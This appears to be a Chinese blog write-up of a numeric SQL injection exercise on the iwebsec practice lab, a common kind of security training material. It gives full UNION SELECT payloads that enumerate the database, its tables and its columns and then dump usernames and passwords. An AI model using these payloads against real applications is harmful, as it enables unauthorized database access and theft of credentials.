iwebsec-SQL数字型注入

1.判断是否存在漏洞

添加and 1=1发现正常显示,添加and 1=2无回显条目,则存在sql注入漏洞

2.因为有回显,尝试union联合注入,使用order by判断出有3个字段

3.使用union联合注入查看回显位,发现3三个字段均有回显,任意使用字段注入即可

4.获取数据库名

复制代码
?id=-1 union select database(),2,3

5.获取表名,这时候发现如果使用1和2回显位会显示报错,那么可以使用3回显位回显

复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

6.猜测用户可能存在user或users表中,先使用user表查看字段

复制代码
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="user"

7.查看id=1的username和password

这里应该不是user表,真是用户存在users表,将表名改为users一样

复制代码
?id=-1 union select 1,2,group_concat(username,',',password) from user where id=1
相关推荐
倔强的石头_15 小时前
kingbase备份与恢复实战(二)—— sys_dump库级逻辑备份与恢复(Windows详细步骤)
数据库
jiayou642 天前
KingbaseES 实战:深度解析数据库对象访问权限管理
数据库
李广坤3 天前
MySQL 大表字段变更实践(改名 + 改类型 + 改长度)
数据库
爱可生开源社区4 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1774 天前
《从零搭建NestJS项目》
数据库·typescript
一次旅行5 天前
网络安全总结
安全·web安全
加号35 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏5 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐5 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
百锦再5 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip